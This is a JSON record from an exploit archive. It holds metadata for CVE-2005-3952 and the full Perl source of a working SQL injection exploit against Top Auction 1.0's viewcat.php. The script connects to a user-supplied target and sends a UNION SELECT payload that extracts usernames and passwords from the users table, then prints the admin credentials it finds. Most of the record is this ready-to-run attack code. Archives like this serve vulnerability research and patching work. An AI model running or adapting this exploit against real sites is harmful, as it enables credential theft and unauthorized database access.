{"exploit":{"id":"EDB-3456","name":"Top Auction 1.0 - 'viewcat.php' SQL Injection (SQLi)","description":"Top Auction 1.0 - 'viewcat.php' SQL Injection (SQLi)","cves":["CVE-2005-3952"],"author":"ajann","published":"2007-03-11","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3456","path":"exploits/php/webapps/3456.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3456.pl","vulnerabilities":[{"id":"CVE-2005-3952","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in PHP Labs Top Auction allows remote attackers to execute arbitrary SQL commands via the (1) category and (2) type parameters to viewcat.php, or (3) certain search parameters. NOTE: later a disclosure reported the affected version as 1.0.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-3952","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-3952"},"updatedAt":"2024-08-07T23:31:49.047Z","retrievedAt":"2026-11-27T11:11:53.662Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3456.png?v=2","url":"https://exploitbin.com/exploits/EDB-3456","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3456/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3456/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#[Script Name: Top Auction 1.0 (viewcat.php) Remote Blind SQL Injection Exploit\n#[Coded by   : ajann\n#[Author     : ajann\n#[Contact    : :(\n#[S.Page     : http://www.phplabs.com\n#[$$         : 39.95$\n#[..         : ajann,Turkey\n\nuse IO::Socket;\nif(@ARGV < 1){\nprint \"\n[========================================================================\n[//   \tTop Auction 1.0 (viewcat.php) Remote Blind SQL Injection Exploit\n[//                   Usage: exploit.pl [target]\n[//                   Example: exploit.pl victim.com\n[//                   Example: exploit.pl victim.com\n[//                           Vuln&Exp : ajann\n[========================================================================\n\";\nexit();\n}\n#Local variables\n$server = $ARGV[0];\n$server =~ s/(http:\\/\\/)//eg;\n$host = \"http://\".$server;\n$port = \"80\";\n$file = \"/viewcat.php?category=\";\n\nprint \"Script <DIR> : \";\n$dir = <STDIN>;\nchop ($dir);\n\nif ($dir =~ /exit/){\nprint \"-- Exploit Failed[You Are Exited] \\n\";\nexit();\n}\n\nif ($dir =~ /\\//){}\nelse {\nprint \"-- Exploit Failed[No DIR] \\n\";\nexit();\n }\n\n\n$target = \"-1%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),nick,char(112,97,115,115,58),password),3%20from%20users/*\";\n$target = $host.$dir.$file.$target;\n\n#Writing data to socket\nprint \"+**********************************************************************+\\n\";\nprint \"+ Trying to connect: $server\\n\";\n$socket = IO::Socket::INET->new(Proto => \"tcp\", PeerAddr => \"$server\", PeerPort => \"$port\") || die \"\\n+ Connection failed...\\n\";\nprint $socket \"GET $target HTTP/1.1\\n\";\nprint $socket \"Host: $server\\n\";\nprint $socket \"Accept: */*\\n\";\nprint $socket \"Connection: close\\n\\n\";\nprint \"+ Connected!...\\n\";\n#Getting\nwhile($answer = <$socket>) {\nif ($answer =~ /username:(.*?)pass/){\nprint \"+ Exploit succeed! Getting admin information.\\n\";\nprint \"+ ---------------- +\\n\";\nprint \"+ Username: $1\\n\";\n}\n\nif ($answer =~ /pass:(.*?)<\\/title>/){\nprint \"+ Password: $1\\n\";\n}\n\nif ($answer =~ /Syntax error/) {\nprint \"+ Exploit Failed : ( \\n\";\nprint \"+**********************************************************************+\\n\";\nexit();\n}\n\nif ($answer =~ /Internal Server Error/) {\nprint \"+ Exploit Failed : (  \\n\";\nprint \"+**********************************************************************+\\n\";\nexit();\n}\n }\n\n# milw0rm.com [2007-03-11]","sha256":"8eda6d843eaa9b2b5494ae5bd8dc605c022ca57198e0aeed19e25e50effe3393","bytes":2322,"fetchedAt":"2026-11-27T11:11:47.479Z","encoding":"utf-8 (display only; download retains original bytes)"}